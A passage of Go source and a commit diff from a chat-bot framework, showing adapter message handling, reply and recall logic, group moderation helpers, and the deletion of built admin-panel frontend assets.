BotsLocker.RLock()
|
||||
defer BotsLocker.RUnlock()
|
||||
for i := range Bots {
|
||||
id := i[0]
|
||||
if botid == id {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (f *Factory) Masters() []string {
|
||||
return strings.Split(strings.Trim(MakeBucket(f.botplt).GetString("masters"), "&"), "&")
|
||||
}
|
||||
|
||||
func (f *Factory) Destroy() {
|
||||
BotsLocker.Lock()
|
||||
defer BotsLocker.Unlock()
|
||||
f.Lock()
|
||||
defer f.Unlock()
|
||||
if f.destroid {
|
||||
return
|
||||
}
|
||||
f.destroid = true
|
||||
f.cancel()
|
||||
close(f.msgChan)
|
||||
delete(Bots, [2]string{f.botplt, f.botid})
|
||||
botid := ""
|
||||
if f.botid != "" {
|
||||
botid = fmt.Sprintf("(%s)", f.botid)
|
||||
} else {
|
||||
botid = f.botid
|
||||
}
|
||||
console.Log("%s机器人%s已销毁", f.botplt, botid)
|
||||
go func() {
|
||||
if f.uuid != "" {
|
||||
su := &ScriptUtils{
|
||||
script: plugins.GetString(f.uuid),
|
||||
}
|
||||
str := su.GetValue("message")
|
||||
if str == "" {
|
||||
return
|
||||
}
|
||||
ss := regexp.MustCompile(`\S+`).FindAllString(str, -1)
|
||||
if len(ss) == 0 {
|
||||
return
|
||||
}
|
||||
if ss[0] != f.botplt {
|
||||
ss = []string{f.botplt}
|
||||
}
|
||||
nss := utils.Unique(utils.Remove(ss, f.botid))
|
||||
if len(nss) == 1 {
|
||||
su.DeleteValue("message")
|
||||
plugins.Set(f.uuid, su.script)
|
||||
} else {
|
||||
nstr := strings.Join(nss, " ")
|
||||
if str != nstr {
|
||||
su.SetValue("message", nstr)
|
||||
plugins.Set(f.uuid, su.script)
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func (f *Factory) Push(msg map[string]string) map[string]string {
|
||||
var demo = *f.demo
|
||||
var sender = &demo
|
||||
fsps := &common.FakerSenderParams{
|
||||
UserID: msg[USER_ID],
|
||||
ChatID: msg[CHAT_ID],
|
||||
}
|
||||
if v, ok := msg[MESSAGE_ID]; ok {
|
||||
fsps.MessageID = v
|
||||
}
|
||||
sender.SetFsps(fsps)
|
||||
message_id, err := sender.Reply(msg[CONETNT], PUSH(""))
|
||||
return map[string]string{
|
||||
"message_id": message_id,
|
||||
"error": ErrStr(err),
|
||||
}
|
||||
}
|
||||
|
||||
func (f *Factory) SetReplyHandler(function func(map[string]interface{}) string) {
|
||||
f.reply = func(m map[string]interface{}) string {
|
||||
// if f.uuid != "" {
|
||||
// mutex := GetMutex(f.uuid)
|
||||
// mutex.Lock()
|
||||
// defer mutex.Unlock()
|
||||
// }
|
||||
defer func() {
|
||||
err := recover()
|
||||
if err != nil {
|
||||
pluginConsole(f.uuid).Error("Sender(\""+f.botplt+"\").SetReply error:", err)
|
||||
}
|
||||
}()
|
||||
return function(m)
|
||||
}
|
||||
}
|
||||
|
||||
func (f *Factory) SetActionHandler(function func(map[string]interface{}) string) {
|
||||
f.action = func(m map[string]interface{}) string {
|
||||
// if f.uuid != "" {
|
||||
// mutex := GetMutex(f.uuid)
|
||||
// mutex.Lock()
|
||||
// defer mutex.Unlock()
|
||||
// }
|
||||
defer func() {
|
||||
err := recover()
|
||||
if err != nil {
|
||||
pluginConsole(f.uuid).Error("Sender(\""+f.botplt+"\").SetAction error:", err)
|
||||
}
|
||||
}()
|
||||
return function(m)
|
||||
}
|
||||
}
|
||||
|
||||
// func (f *Factory) GetReplies() {
|
||||
|
||||
// }
|
||||
|
||||
func GetReplyMessage(vm *goja.Runtime, plt string, bots_id []string) *goja.Promise {
|
||||
promise, resolve, reject := vm.NewPromise()
|
||||
adapters, err := GetAdapters(plt, bots_id...)
|
||||
if err != nil {
|
||||
go func() {
|
||||
time.Sleep(time.Second)
|
||||
reject(Error(vm, err))
|
||||
}()
|
||||
return promise
|
||||
}
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
for i := range adapters {
|
||||
go func(i int) {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
logs.Debug("消息获取中断")
|
||||
case <-adapters[i].ctx.Done():
|
||||
cancel()
|
||||
logs.Debug("%s adapter %s destroied", adapters[i].botplt, adapters[i].botid)
|
||||
reject("adapter destroied")
|
||||
case mc := <-adapters[i].msgChan:
|
||||
cancel()
|
||||
var msg = map[string]interface{}{}
|
||||
for k, v := range mc.Msg {
|
||||
msg[k] = v
|
||||
}
|
||||
obj := adapters[i].vm.NewObject()
|
||||
for k, v := range mc.Msg {
|
||||
obj.Set(k, v)
|
||||
}
|
||||
obj.Set("bot_id", adapters[i].botid)
|
||||
// msg["bot_id"] = adapters[i].botid
|
||||
// msg["setMessageId"] = func(id string) {
|
||||
// select {
|
||||
// case <-mc.Chan:
|
||||
// case <-time.After(time.Millisecond):
|
||||
// mc.Chan <- id
|
||||
// }
|
||||
// }
|
||||
// resolve(msg)
|
||||
resolve(vm.NewProxy(obj, &goja.ProxyTrapConfig{
|
||||
Set: func(target *goja.Object, property string, value, receiver goja.Value) (success bool) {
|
||||
if property == "message_id" {
|
||||
select {
|
||||
case <-mc.Chan:
|
||||
return false
|
||||
case <-time.After(time.Millisecond):
|
||||
}
|
||||
mc.Chan <- fmt.Sprint(value.Export())
|
||||
}
|
||||
return true
|
||||
},
|
||||
}))
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
return promise
|
||||
}
|
||||
|
||||
func (f *Factory) GetReplyMessage() interface{} {
|
||||
select {
|
||||
case <-f.ctx.Done():
|
||||
logs.Debug("%s adapter %s destroied", f.botplt, f.botid)
|
||||
panic(Error(f.vm, "adapter destroied"))
|
||||
case mc := <-f.msgChan:
|
||||
obj := f.vm.NewObject()
|
||||
for k, v := range mc.Msg {
|
||||
obj.Set(k, v)
|
||||
}
|
||||
return f.vm.NewProxy(obj, &goja.ProxyTrapConfig{
|
||||
Set: func(target *goja.Object, property string, value, receiver goja.Value) (success bool) {
|
||||
if property == "message_id" {
|
||||
select {
|
||||
case <-mc.Chan:
|
||||
return false
|
||||
case <-time.After(time.Millisecond):
|
||||
}
|
||||
mc.Chan <- fmt.Sprint(value.Export())
|
||||
}
|
||||
return true
|
||||
},
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func (f *Factory) GetUserMessages(user_id string, timeout int) []map[string]interface{} {
|
||||
if timeout == 0 {
|
||||
timeout = 2000
|
||||
}
|
||||
msgs := []map[string]interface{}{}
|
||||
v, loaded := f.gmsgChan.LoadOrStore(user_id, &GMsgChan{})
|
||||
ch := v.(*GMsgChan)
|
||||
if !loaded {
|
||||
// console.Debug("接收创建:", ch.Chan)
|
||||
ch.Chan = make(chan map[string]interface{})
|
||||
} else {
|
||||
// console.Debug("接收加载:", ch.Chan)
|
||||
}
|
||||
if len(ch.Msgs) != 0 {
|
||||
ch.Lock()
|
||||
msgs = append(msgs, ch.Msgs...)
|
||||
// console.Debug("数组接收:", msgs)
|
||||
ch.Msgs = nil
|
||||
ch.Unlock()
|
||||
timeout = 1
|
||||
}
|
||||
for {
|
||||
select {
|
||||
case msg := <-ch.Chan:
|
||||
msgs = append(msgs, msg)
|
||||
timeout = 1
|
||||
// console.Debug("管道接收:", msgs)
|
||||
case <-time.After(time.Millisecond * time.Duration(timeout)):
|
||||
// console.Debug("无消息")
|
||||
goto HELL
|
||||
}
|
||||
}
|
||||
HELL:
|
||||
return msgs
|
||||
}
|
||||
|
||||
func (f *Factory) GetMessages(timeout int) []interface{} {
|
||||
if timeout == 0 {
|
||||
timeout = 2000
|
||||
}
|
||||
msgs := []interface{}{}
|
||||
for {
|
||||
select {
|
||||
case <-f.ctx.Done():
|
||||
logs.Debug("%s adapter %s destroied", f.botplt, f.botid)
|
||||
panic(Error(f.vm, "adapter destroied"))
|
||||
case mc := <-f.msgChan:
|
||||
obj := f.vm.NewObject()
|
||||
for k, v := range mc.Msg {
|
||||
obj.Set(k, v)
|
||||
}
|
||||
msgs = append(msgs, f.vm.NewProxy(obj, &goja.ProxyTrapConfig{
|
||||
Set: func(target *goja.Object, property string, value, receiver goja.Value) (success bool) {
|
||||
if property == "message_id" {
|
||||
select {
|
||||
case <-mc.Chan:
|
||||
return false
|
||||
case <-time.After(time.Millisecond):
|
||||
}
|
||||
mc.Chan <- fmt.Sprint(value.Export())
|
||||
}
|
||||
return true
|
||||
},
|
||||
}))
|
||||
timeout = 1
|
||||
case <-time.After(time.Millisecond * time.Duration(timeout)):
|
||||
goto HELL
|
||||
}
|
||||
}
|
||||
HELL:
|
||||
return msgs
|
||||
}
|
||||
|
||||
func (f *Factory) Send(function func(map[string]interface{}) string) {
|
||||
f.SetReplyHandler(function)
|
||||
}
|
||||
|
||||
func (f *Factory) SetIsAdmin(function func(string) bool) {
|
||||
f.isAdmin = func(uid string) bool {
|
||||
defer func() {
|
||||
err := recover()
|
||||
if err != nil {
|
||||
pluginConsole(f.uuid).Error("Sender(\""+f.botplt+"\").SetAdmin error:", err)
|
||||
}
|
||||
}()
|
||||
return function(uid)
|
||||
}
|
||||
}
|
||||
|
||||
func (f *Factory) Sender2(options map[string]string) *CustomSender {
|
||||
var demo = *f.demo
|
||||
sender := &demo
|
||||
// sender.SetID()
|
||||
if options != nil {
|
||||
fsp := &common.FakerSenderParams{}
|
||||
if v, ok := options[CONETNT]; ok {
|
||||
fsp.Content = v
|
||||
}
|
||||
if v, ok := options[USER_ID]; ok {
|
||||
fsp.UserID = v
|
||||
}
|
||||
if v, ok := options[CHAT_ID]; ok {
|
||||
fsp.ChatID = v
|
||||
}
|
||||
if v, ok := options[MESSAGE_ID]; ok {
|
||||
fsp.MessageID = v
|
||||
}
|
||||
sender.SetFsps(fsp)
|
||||
}
|
||||
return sender
|
||||
}
|
||||
|
||||
func (f *Factory) Sender(options map[string]string) interface{} {
|
||||
return &SenderJsIplm{
|
||||
Message: f.Sender2(options),
|
||||
Vm: f.vm,
|
||||
Private: "private",
|
||||
Group: "group",
|
||||
Routine: "routine",
|
||||
Persistent: "persistent",
|
||||
UUID: f.uuid,
|
||||
}
|
||||
}
|
||||
|
||||
func (f *Factory) Receive(props map[string]interface{}) *CustomSender {
|
||||
var demo = *f.demo
|
||||
sender := &demo
|
||||
// sender.SetID()
|
||||
// console.Log("senderId", sender.GetID())
|
||||
emf := map[string]interface{}{}
|
||||
for i := range props {
|
||||
h := false
|
||||
switch strings.ToLower(i) {
|
||||
case "content":
|
||||
sender.details.Content = strings.TrimSpace(fmt.Sprint(props[i]))
|
||||
h = true
|
||||
case "message_id", "messageId":
|
||||
sender.details.MessageID = utils.Itoa(props[i])
|
||||
h = true
|
||||
case "user_id", "userId":
|
||||
sender.details.UserID = utils.Itoa(props[i])
|
||||
h = true
|
||||
case "chat_id", "chatId", "group_id", "groupId", "group_code", "groupCode":
|
||||
sender.details.ChatID = ChatID(props[i])
|
||||
h = true
|
||||
case "user_name", "userName":
|
||||
sender.details.Username = fmt.Sprint(props[i])
|
||||
h = true
|
||||
case "chat_name", "chatName", "groupName", "group_name":
|
||||
sender.details.Chatname = fmt.Sprint(props[i])
|
||||
h = true
|
||||
}
|
||||
if !h {
|
||||
emf[i] = props[i]
|
||||
}
|
||||
}
|
||||
sender.SetExpandMessageInfo(emf)
|
||||
// if sender.details.Content != "" {
|
||||
Messages <- sender
|
||||
// }
|
||||
return sender
|
||||
}
|
||||
|
||||
func (sender *CustomSender) GetContent() string {
|
||||
if sender.Fsps.Content != "" {
|
||||
return sender.Fsps.Content
|
||||
}
|
||||
return sender.details.Content
|
||||
}
|
||||
func (sender *CustomSender) GetUserID() string {
|
||||
if sender.Fsps.UserID != "" {
|
||||
return sender.Fsps.UserID
|
||||
}
|
||||
return sender.details.UserID
|
||||
}
|
||||
func (sender *CustomSender) GetChatID() string {
|
||||
if !utils.IsZeroOrEmpty(sender.Fsps.ChatID) {
|
||||
return fmt.Sprint(sender.Fsps.ChatID)
|
||||
}
|
||||
return sender.details.ChatID
|
||||
}
|
||||
func (sender *CustomSender) GetImType() string {
|
||||
return sender.F.botplt
|
||||
}
|
||||
func (sender *CustomSender) GetUserName() string {
|
||||
return sender.details.Username
|
||||
}
|
||||
func (sender *CustomSender) GetChatName() string {
|
||||
return sender.details.Chatname
|
||||
}
|
||||
func (sender *CustomSender) GetMessageID() string {
|
||||
if sender.Fsps.MessageID != "" {
|
||||
return sender.Fsps.MessageID
|
||||
}
|
||||
return sender.details.MessageID
|
||||
}
|
||||
func (sender *CustomSender) GetReplySenderUserID() int {
|
||||
if !sender.IsReply() {
|
||||
return 0
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (sender *CustomSender) GetBotID() string {
|
||||
return sender.F.botid
|
||||
}
|
||||
|
||||
type PUSH string
|
||||
|
||||
func (sender *CustomSender) Action(options map[string]interface{}) (interface{}, error) {
|
||||
if sender.F.action != nil {
|
||||
|
||||
return sender.F.action(options), nil
|
||||
}
|
||||
var platform = sender.F.botplt
|
||||
var any *common.Function
|
||||
var one *common.Function
|
||||
var result interface{}
|
||||
var err error
|
||||
for _, function := range Functions {
|
||||
if function.Reply != nil && function.Reply.Platform == platform {
|
||||
if len(function.Reply.BotsID) == 0 {
|
||||
any = function
|
||||
} else if Contains(function.Reply.BotsID, sender.F.botid) {
|
||||
one = function
|
||||
}
|
||||
}
|
||||
}
|
||||
if one == nil && any != nil {
|
||||
one = any
|
||||
}
|
||||
if one != nil {
|
||||
one.Handle(&CustomSender{
|
||||
F: &Factory{
|
||||
botplt: "action",
|
||||
},
|
||||
}, func(vm *goja.Runtime) {
|
||||
obj := vm.NewObject()
|
||||
for k, v := range options {
|
||||
obj.Set(k, v)
|
||||
}
|
||||
proxy := vm.NewProxy(obj, &goja.ProxyTrapConfig{
|
||||
Set: func(target *goja.Object, property string, value, receiver goja.Value) (success bool) {
|
||||
if property == "result" {
|
||||
result = value
|
||||
}
|
||||
if property == "error" {
|
||||
err = errors.New(value.String())
|
||||
}
|
||||
return true
|
||||
},
|
||||
})
|
||||
vm.Set("action", proxy)
|
||||
vm.Set("adapter", sender.F)
|
||||
})
|
||||
|
||||
}
|
||||
return result, err
|
||||
}
|
||||
|
||||
func (sender *CustomSender) Reply(msgs ...interface{}) (string, error) {
|
||||
var push = false
|
||||
var platform = sender.F.botplt
|
||||
var bot_id = sender.F.botid
|
||||
var args = []interface{}{}
|
||||
for _, item := range msgs {
|
||||
switch item := item.(type) {
|
||||
case PUSH:
|
||||
push = true
|
||||
case string:
|
||||
args = append(args, item)
|
||||
default:
|
||||
if item != nil {
|
||||
args = append(args, fmt.Sprint(item))
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(args) == 0 {
|
||||
return "", nil //errors.New("s.reply has no content")
|
||||
}
|
||||
content := utils.FormatLog(args[0], args[1:]...)
|
||||
if !push {
|
||||
if IsNoReplyGroup(sender) {
|
||||
return "", errors.New("is no reply group")
|
||||
}
|
||||
}
|
||||
content = strings.ReplaceAll(content, "\n\r", "\n")
|
||||
content = strings.ReplaceAll(content, "\r\n", "\n")
|
||||
content = strings.ReplaceAll(content, "\r", "\n")
|
||||
content = regexp.MustCompile("[\n]{3,}").ReplaceAllString(content, "\n\n")
|
||||
if content != "" {
|
||||
user_id := sender.GetUserID()
|
||||
msg := map[string]interface{}{
|
||||
"message_id": sender.GetMessageID(),
|
||||
"content": content,
|
||||
"user_id": user_id,
|
||||
"chat_id": sender.GetChatID(),
|
||||
"bot_id": bot_id,
|
||||
// "uuid": utils.GenUUID(),
|
||||
}
|
||||
for k, v := range sender.GetExpandMessageInfo() {
|
||||
msg[k] = v
|
||||
}
|
||||
if sender.F.umod { //订阅号模式
|
||||
v, loaded := sender.F.gmsgChan.LoadOrStore(user_id, &GMsgChan{})
|
||||
ch := v.(*GMsgChan)
|
||||
if !loaded {
|
||||
// console.Debug("发送创建:", ch.Chan)
|
||||
ch.Chan = make(chan map[string]interface{})
|
||||
} else {
|
||||
// console.Debug("发送加载:", ch.Chan)
|
||||
}
|
||||
select {
|
||||
case ch.Chan <- msg:
|
||||
// console.Debug("管道发送:", msg, ch.Chan)
|
||||
case <-time.After(time.Second):
|
||||
ch.Lock()
|
||||
defer ch.Unlock()
|
||||
ch.Msgs = append(ch.Msgs, msg)
|
||||
// console.Debug("数组发送:", msg)
|
||||
}
|
||||
return "", nil
|
||||
}
|
||||
if sender.F.reply == nil { //未设置回复函数
|
||||
var any *common.Function
|
||||
var one *common.Function
|
||||
for _, function := range Functions {
|
||||
if function.Reply != nil && function.Reply.Platform == platform {
|
||||
if len(function.Reply.BotsID) == 0 {
|
||||
any = function
|
||||
} else if Contains(function.Reply.BotsID, sender.F.botid) {
|
||||
one = function
|
||||
}
|
||||
}
|
||||
}
|
||||
if one == nil && any != nil {
|
||||
one = any
|
||||
}
|
||||
if one != nil {
|
||||
message_id := ""
|
||||
one.Handle(&CustomSender{
|
||||
F: &Factory{
|
||||
botplt: "message",
|
||||
},
|
||||
}, func(vm *goja.Runtime) {
|
||||
obj := vm.NewObject()
|
||||
for k, v := range msg {
|
||||
obj.Set(k, v)
|
||||
}
|
||||
proxy := vm.NewProxy(obj, &goja.ProxyTrapConfig{
|
||||
Set: func(target *goja.Object, property string, value, receiver goja.Value) (success bool) {
|
||||
message_id = fmt.Sprint(value.Export())
|
||||
return true
|
||||
},
|
||||
})
|
||||
vm.Set("msg", proxy)
|
||||
vm.Set("message", proxy)
|
||||
vm.Set("adapter", sender.F)
|
||||
})
|
||||
return message_id, nil
|
||||
} else { //存储消息
|
||||
c := MsgChan{
|
||||
Msg: msg,
|
||||
Chan: make(chan string),
|
||||
}
|
||||
if sender.F.destroid {
|
||||
return "", errors.New("adapter destroid")
|
||||
}
|
||||
sender.F.msgChan <- c
|
||||
select {
|
||||
case id := <-c.Chan:
|
||||
return id, nil
|
||||
case <-time.After(time.Second * 5):
|
||||
close(c.Chan)
|
||||
return "", errors.New("获取消息ID超时")
|
||||
}
|
||||
}
|
||||
} else {
|
||||
//todo 阻塞延迟异常
|
||||
v := sender.F.reply(msg)
|
||||
return v, nil
|
||||
}
|
||||
}
|
||||
return "", nil
|
||||
}
|
||||
|
||||
const (
|
||||
MESSAGE_ID = "message_id"
|
||||
CONETNT = "content"
|
||||
USER_ID = "user_id"
|
||||
CHAT_ID = "chat_id"
|
||||
IS_ADMIN = "is_admin"
|
||||
// UUID = "message_id"
|
||||
)
|
||||
|
||||
func (sender *CustomSender) Copy() common.Sender {
|
||||
new := reflect.Indirect(reflect.ValueOf(interface{}(sender))).Interface().(CustomSender)
|
||||
return &new
|
||||
}
|
||||
|
||||
func (sender *CustomSender) Event() map[string]interface{} {
|
||||
e := sender.GetVar("event")
|
||||
if e == nil {
|
||||
return nil
|
||||
}
|
||||
return e.(map[string]interface{})
|
||||
}
|
||||
|
||||
func (sender *CustomSender) RecallMessage(ps ...interface{}) {
|
||||
recalls := []func(){}
|
||||
var timeout int
|
||||
for _, p := range ps {
|
||||
switch p := p.(type) {
|
||||
case int, int64:
|
||||
timeout = utils.Int(p)
|
||||
case string:
|
||||
if p != "" {
|
||||
recalls = append(recalls, func() {
|
||||
sender.Action(H{
|
||||
"type": "delete_message",
|
||||
"message_id": p,
|
||||
})
|
||||
})
|
||||
}
|
||||
case []string:
|
||||
for _, v := range p {
|
||||
if v != "" {
|
||||
recalls = append(recalls, func() {
|
||||
sender.Action(H{
|
||||
"type": "delete_message",
|
||||
"message_id": v,
|
||||
})
|
||||
})
|
||||
}
|
||||
}
|
||||
case [][]string:
|
||||
for _, v := range p {
|
||||
for _, v2 := range v {
|
||||
recalls = append(recalls, func() {
|
||||
sender.Action(H{
|
||||
"type": "delete_message",
|
||||
"message_id": v2,
|
||||
})
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
go func() {
|
||||
if timeout != 0 {
|
||||
time.Sleep(time.Millisecond * time.Duration(timeout))
|
||||
}
|
||||
for _, recall := range recalls {
|
||||
recall()
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func (sender *CustomSender) GroupKick(uid string, reject_add_request bool) error {
|
||||
_, err := sender.Reply(mystr.BuildCQCode("kick", H{"user_id": uid, "chat_id": sender.GetChatID(), "forever": reject_add_request}, ""))
|
||||
return err
|
||||
}
|
||||
|
||||
func (sender *CustomSender) GroupBan(uid string, duration int) error {
|
||||
_, err := sender.Reply(mystr.BuildCQCode("ban", H{"user_id": uid, "chat_id": sender.GetChatID(), "duration": duration}, ""))
|
||||
return err
|
||||
}
|
||||
|
||||
func (sender *CustomSender) GroupUnban(uid string) error {
|
||||
_, err := sender.Reply(mystr.BuildCQCode("ban", H{"user_id": uid, "chat_id": sender.GetChatID(), "duration": 0}, ""))
|
||||
return err
|
||||
}
|
||||
|
||||
func (sender *CustomSender) IsAdmin() bool {
|
||||
if sender.F.isAdmin == nil {
|
||||
return Contains(strings.Split(MakeBucket(sender.F.botplt).GetString("masters"), "&"), sender.GetUserID())
|
||||
}
|
||||
return sender.F.isAdmin(sender.GetUserID())
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1 +0,0 @@
|
||||
"use strict";(self.webpackChunkant_design_pro=self.webpackChunkant_design_pro||[]).push([[361],{26361:function(o,n,t){t.r(n),t.d(n,{default:function(){return E}});var O=t(50959),u=t(86195),s=t(11527);function E(){var e=(0,u.useOutletContext)();return(0,s.jsx)(u.Outlet,{context:e})}}}]);
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1 +0,0 @@
|
||||
preview.pro.ant.design
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 4.2 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 1.3 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 1.8 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 5.0 KiB |
@@ -1,13 +0,0 @@
|
||||
<!DOCTYPE html><html><head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
|
||||
<meta http-equiv="X-UA-Compatible" content="ie=edge">
|
||||
<title>傻妞科技研究生产中心</title>
|
||||
<link rel="stylesheet" href="/admin/umi.d8ae1311.css">
|
||||
<script async="" src="/scripts/loading.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<div id="root"></div>
|
||||
<script src="/admin/umi.a85b5822.js"></script>
|
||||
|
||||
</body></html>
|
||||
@@ -1 +0,0 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200" version="1.1" viewBox="0 0 200 200"><title>Group 28 Copy 5</title><desc>Created with Sketch.</desc><defs><linearGradient id="linearGradient-1" x1="62.102%" x2="108.197%" y1="0%" y2="37.864%"><stop offset="0%" stop-color="#4285EB"/><stop offset="100%" stop-color="#2EC7FF"/></linearGradient><linearGradient id="linearGradient-2" x1="69.644%" x2="54.043%" y1="0%" y2="108.457%"><stop offset="0%" stop-color="#29CDFF"/><stop offset="37.86%" stop-color="#148EFF"/><stop offset="100%" stop-color="#0A60FF"/></linearGradient><linearGradient id="linearGradient-3" x1="69.691%" x2="16.723%" y1="-12.974%" y2="117.391%"><stop offset="0%" stop-color="#FA816E"/><stop offset="41.473%" stop-color="#F74A5C"/><stop offset="100%" stop-color="#F51D2C"/></linearGradient><linearGradient id="linearGradient-4" x1="68.128%" x2="30.44%" y1="-35.691%" y2="114.943%"><stop offset="0%" stop-color="#FA8E7D"/><stop offset="51.264%" stop-color="#F74A5C"/><stop offset="100%" stop-color="#F51D2C"/></linearGradient></defs><g id="Page-1" fill="none" fill-rule="evenodd" stroke="none" stroke-width="1"><g id="logo" transform="translate(-20.000000, -20.000000)"><g id="Group-28-Copy-5" transform="translate(20.000000, 20.000000)"><g id="Group-27-Copy-3"><g id="Group-25" fill-rule="nonzero"><g id="2"><path id="Shape" fill="url(#linearGradient-1)" d="M91.5880863,4.17652823 L4.17996544,91.5127728 C-0.519240605,96.2081146 -0.519240605,103.791885 4.17996544,108.487227 L91.5880863,195.823472 C96.2872923,200.518814 103.877304,200.518814 108.57651,195.823472 L145.225487,159.204632 C149.433969,154.999611 149.433969,148.181924 145.225487,143.976903 C141.017005,139.771881 134.193707,139.771881 129.985225,143.976903 L102.20193,171.737352 C101.032305,172.906015 99.2571609,172.906015 98.0875359,171.737352 L28.285908,101.993122 C27.1162831,100.824459 27.1162831,99.050775 28.285908,97.8821118 L98.0875359,28.1378823 C99.2571609,26.9692191 101.032305,26.9692191 102.20193,28.1378823 L129.985225,55.8983314 C134.193707,60.1033528 141.017005,60.1033528 145.225487,55.8983314 C149.433969,51.69331 149.433969,44.8756232 145.225487,40.6706018 L108.58055,4.05574592 C103.862049,-0.537986846 96.2692618,-0.500797906 91.5880863,4.17652823 Z"/><path id="Shape" fill="url(#linearGradient-2)" d="M91.5880863,4.17652823 L4.17996544,91.5127728 C-0.519240605,96.2081146 -0.519240605,103.791885 4.17996544,108.487227 L91.5880863,195.823472 C96.2872923,200.518814 103.877304,200.518814 108.57651,195.823472 L145.225487,159.204632 C149.433969,154.999611 149.433969,148.181924 145.225487,143.976903 C141.017005,139.771881 134.193707,139.771881 129.985225,143.976903 L102.20193,171.737352 C101.032305,172.906015 99.2571609,172.906015 98.0875359,171.737352 L28.285908,101.993122 C27.1162831,100.824459 27.1162831,99.050775 28.285908,97.8821118 L98.0875359,28.1378823 C100.999864,25.6271836 105.751642,20.541824 112.729652,19.3524487 C117.915585,18.4685261 123.585219,20.4140239 129.738554,25.1889424 C125.624663,21.0784292 118.571995,14.0340304 108.58055,4.05574592 C103.862049,-0.537986846 96.2692618,-0.500797906 91.5880863,4.17652823 Z"/></g><path id="Shape" fill="url(#linearGradient-3)" d="M153.685633,135.854579 C157.894115,140.0596 164.717412,140.0596 168.925894,135.854579 L195.959977,108.842726 C200.659183,104.147384 200.659183,96.5636133 195.960527,91.8688194 L168.690777,64.7181159 C164.472332,60.5180858 157.646868,60.5241425 153.435895,64.7316526 C149.227413,68.936674 149.227413,75.7543607 153.435895,79.9593821 L171.854035,98.3623765 C173.02366,99.5310396 173.02366,101.304724 171.854035,102.473387 L153.685633,120.626849 C149.47715,124.83187 149.47715,131.649557 153.685633,135.854579 Z"/></g><ellipse id="Combined-Shape" cx="100.519" cy="100.437" fill="url(#linearGradient-4)" rx="23.6" ry="23.581"/></g></g></g></g></svg>
|
||||
|
Before Width: | Height: | Size: 3.8 KiB |
@@ -1 +0,0 @@
|
||||
"use strict";(self.webpackChunkant_design_pro=self.webpackChunkant_design_pro||[]).push([[571],{13140:function(E,n,t){t.r(n);var a=t(86195),o=t(28630),_=t(26572),P=t(50959),s=t(11527),u=function(){return(0,s.jsx)(o.ZP,{status:"404",title:"404",subTitle:"Sorry, the page you visited does not exist.",extra:(0,s.jsx)(_.ZP,{type:"primary",onClick:function(){return a.history.push("/")},children:"Back Home"})})};n.default=u}}]);
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1 +0,0 @@
|
||||
"use strict";(self.webpackChunkant_design_pro=self.webpackChunkant_design_pro||[]).push([[966],{81734:function(Q,D,e){e.r(D);var B=e(25359),O=e.n(B),I=e(49811),R=e.n(I),T=e(54306),m=e.n(T),x=e(25367),K=e(34316),M=e(87474),U=e(12472),L=e(6849),j=e(64619),f=e(86195),S=e(833),W=e(46370),c=e(50959),s=e(11527),E="listenOnGroups";D.default=function(){var p,Z=(0,c.useState)([]),g=m()(Z,2),G=g[0],$=g[1],J=(0,c.useState)([{id:"empty"}]),h=m()(J,2),d=h[0],v=h[1],N=(0,c.useState)("bottom"),A=m()(N,2),P=A[0],z=A[1],C=(0,f.useRequest)(function(){return(0,f.request)("/api/storage",{params:{keys:[E].join(",")}})}),y=C.data,V=C.error,w=C.loading;if(w)return(0,s.jsx)(x.Z,{});if(V)return(0,K.Z)(),null;if(((p=d[0])===null||p===void 0?void 0:p.id)=="empty"){var b=[],i=Object.keys(y).map(function(n){var a=n.split(".")[1];b.push("nickname."+a);try{n=JSON.parse(y[n])}catch(_){n={}}return n.id=a,n});(0,f.request)("/api/storage",{params:{keys:b.join(",")}}).then(function(n){if(n.data)for(var a in n.data){var _=a.split(".")[1];for(var u in i)if(i[u].id==_)try{var t=JSON.parse(n.data[a]),r=t.v,o=t.p;r&&(i[u].nickname=r,i[u].platform=o)}catch(l){}}v(i)})}var H=[{title:"\u7FA4\u53F7",dataIndex:"id",width:"15%"},{title:"\u7FA4\u79F0",dataIndex:"nickname",width:"15%",readonly:!0},{title:"\u5E73\u53F0",width:"15%",dataIndex:"platform",readonly:!0},{title:"\u5907\u6CE8",dataIndex:"decs",fieldProps:function(a,_){var u=_.rowKey,t=_.rowIndex;return a.getFieldValue([u||"","title"])==="\u4E0D\u597D\u73A9"?{disabled:!0}:t>9?{disabled:!0}:{}}},{title:"\u72B6\u6001",dataIndex:"enable",valueType:"switch",width:"10%",render:function(a,_){var u;return(0,s.jsx)(S.Z,{disabled:!0,defaultChecked:(u=d.find(function(t){return t.id==_.id}))===null||u===void 0?void 0:u.enable})}},{title:"\u64CD\u4F5C",valueType:"option",width:200,render:function(a,_,u,t){return[(0,s.jsx)("a",{onClick:function(){var 